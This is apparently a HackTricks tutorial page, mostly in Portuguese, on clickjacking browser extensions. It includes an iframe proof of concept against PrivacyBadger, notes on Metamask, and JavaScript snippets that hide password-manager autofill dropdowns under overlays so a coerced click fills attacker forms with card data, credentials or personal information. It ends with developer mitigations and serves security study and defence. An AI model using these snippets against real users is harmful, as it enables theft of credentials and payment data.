BrowExt - ClickJacking
Reading time: 9 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
Informações Básicas
Esta página vai explorar uma vulnerabilidade de ClickJacking em uma extensão do navegador.
Se você não sabe o que é ClickJacking, confira:
Extensions contains the file manifest.json and that JSON file has a field web_accessible_resources. Here's what the Chrome docs say about it:
These resources would then be available in a webpage via the URL
chrome-extension://[PACKAGE ID]/[PATH], which can be generated with theextension.getURL method. Allowlisted resources are served with appropriate CORS headers, so they're available via mechanisms like XHR.1
Os web_accessible_resources em uma extensão do navegador não são apenas acessíveis via web; eles também operam com os privilégios inerentes da extensão. Isso significa que eles têm a capacidade de:
- Alterar o estado da extensão
 - Carregar recursos adicionais
 - Interagir com o navegador até certo ponto
 
No entanto, esse recurso apresenta um risco de segurança. Se um recurso dentro de web_accessible_resources tiver qualquer funcionalidade significativa, um atacante poderia potencialmente embutir esse recurso em uma página web externa. Usuários desavisados que visitarem essa página podem acidentalmente ativar esse recurso embutido. Tal ativação pode levar a consequências indesejadas, dependendo das permissões e capacidades dos recursos da extensão.
PrivacyBadger Example
Na extensão PrivacyBadger, foi identificada uma vulnerabilidade relacionada ao diretório skin/ ser declarado como web_accessible_resources da seguinte maneira (Confira o original blog post):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
Essa configuração levou a um potencial problema de segurança. Especificamente, o arquivo skin/popup.html, que é renderizado ao interagir com o ícone do PrivacyBadger no navegador, poderia ser incorporado dentro de um iframe. Essa incorporação poderia ser explorada para enganar usuários a clicarem inadvertidamente em "Disable PrivacyBadger for this Website". Tal ação comprometeria a privacidade do usuário ao desativar a proteção do PrivacyBadger e potencialmente sujeitá-lo a um rastreamento aumentado. Uma demonstração visual desse exploit pode ser vista em um vídeo de ClickJacking disponível em https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
Para corrigir essa vulnerabilidade, foi implementada uma solução direta: a remoção de /skin/* da lista de web_accessible_resources. Essa alteração mitigou efetivamente o risco ao garantir que o conteúdo do diretório skin/ não pudesse ser acessado ou manipulado por meio de recursos web acessíveis.
A correção foi simples: remove /skin/* from the web_accessible_resources.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>
<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Exemplo Metamask
A blog post about a ClickJacking in metamask can be found here. In this case, Metamask fixed the vulnerability by checking that the protocol used to access it was https: or http: (not chrome: for example):
.png)
Another ClickJacking fixed na extensão Metamask foi que usuários podiam Click to whitelist quando uma página era suspeita de ser phishing por causa de “web_accessible_resources”: [“inpage.js”, “phishing.html”]. Como essa página era vulnerável a Clickjacking, um atacante poderia abusá-la mostrando algo normal para fazer a vítima clicar para adicioná-la à whitelist sem perceber, e então voltar para a página de phishing que seria whitelistada.
Exemplo Steam Inventory Helper
Consulte a página a seguir para ver como uma XSS em uma extensão do navegador foi encadeada com uma vulnerabilidade de ClickJacking:
DOM-based Extension Clickjacking (Password Manager Autofill UIs)
Classic extension clickjacking abusa de web_accessible_resources mal configurados para iframe HTML privilegiado e direcionar cliques do usuário. Uma classe mais nova, DOM-based extension clickjacking, tem como alvo os autofill dropdowns injetados por password managers diretamente no DOM da página e usa truques de CSS/DOM para escondê-los ou ocultá-los enquanto os mantém clicáveis. Um único clique coagido pode selecionar um item armazenado e preencher attacker-controlled inputs com dados sensíveis.
Modelo de ameaça
- Attacker controla uma página web (ou consegue XSS/subdomain takeover/cache poisoning em um domínio relacionado).
 - Victim tem uma extensão de password manager instalada e desbloqueada (algum autofill mesmo quando nominalmente bloqueada).
 - Pelo menos um clique do usuário é induzido (overlayed cookie banners, dialogs, CAPTCHAs, games, etc.).
 
Fluxo de ataque (manual autofill)
- Inject an invisible but focusable form (login/PII/credit-card fields).
 - Focus an input to summon the extension’s autofill dropdown near the field.
 - Hide or occlude the extension UI while keeping it interactable.
 - Align a believable control under the hidden dropdown to coerce a click that selects an item.
 - Read filled values from the attacker form and exfiltrate.
 
How to hide the autofill UI
- Elemento da extensão
 - Opacidade do elemento root (genérico):
 
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
- Filho dentro de um ShadowRoot aberto (tag dinâmica, ocultar iframe interno):
 
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
- Elemento pai
 - Truques de opacity em BODY/HTML para deixar a UI da extensão invisível enquanto a página parece normal (por exemplo, fundo de captura de tela):
 
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'
// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'
function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
- Overlay
 - Partial overlay: ocultar tudo exceto por alguns pixels para que o dropdown permaneça clicável (garanta que o attacker overlay seja o último no DOM com max z-index, ou use Top Layer).
 - Full overlay usando pointer-events:none para que os cliques passem para o dropdown oculto; mantenha-o persistente com a Popover API:
 
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>
Posicionando o clique da vítima
- Fixed placement: posicione o dropdown oculto sob um controle crível, como “Aceitar cookies”, “Fechar” ou uma caixa de seleção do CAPTCHA.
 - Follow-mouse: mova o input com foco para baixo do cursor para que o dropdown o acompanhe; refoque periodicamente para que um único clique em qualquer lugar selecione um item:
 
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})
Impacto e cenários
- Site controlado pelo atacante: um clique coagido pode exfiltrate dados do cartão de crédito (number/expiry/CVC) e informações pessoais (name, email, phone, address, DOB) que aren’t domain-scoped.
 - Site confiável com XSS/subdomain takeover/cache poisoning: roubo por múltiplos cliques de credentials (username/password) e TOTP, porque muitos gerenciadores autofill atravessam subdomínios/domínios pai relacionados (e.g., 
*.example.com). - Passkeys: se o RP não vincular WebAuthn challenges à sessão, XSS pode interceptar a signed assertion; DOM-based clickjacking esconde o prompt de passkey para provocar o clique de confirmação do usuário.
 
Limitações
- Requer pelo menos um clique do usuário e alinhamento de pixels decente (overlays realistas tornam os cliques fáceis de solicitar).
 - Auto-lock/logout reduz as janelas de exploração; alguns gerenciadores ainda autofill enquanto “locked”.
 
Mitigações para desenvolvedores de extensões
- Renderize a autofill UI no Top Layer (Popover API) ou garanta que ela fique acima do empilhamento da página; evite ser coberta por overlays controladas pela página.
 - Resista a tampering de CSS: prefira Closed Shadow DOM e monitore com 
MutationObserverpor mudanças de estilo suspeitas nas raízes da UI. - Detecte overlays hostis antes de preencher: enumere outros elementos top-layer/popover, desative temporariamente 
pointer-events:nonee useelementsFromPoint()para detectar oclusão; feche a UI se existirem overlays. - Detecte mudanças suspeitas de opacidade ou estilo em 
<body>/<html>tanto pré- quanto pós-render. - Para problemas baseados em iframe: escopo o MV3 
web_accessible_resourcesmatchesde forma restrita e evite expor UIs HTML; para HTML inevitável, sirvaX-Frame-Options: DENYouContent-Security-Policy: frame-ancestors 'none'. 
Referências
- https://blog.lizzie.io/clickjacking-privacy-badger.html
 - https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
 - DOM-based Extension Clickjacking (marektoth.com)
 
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks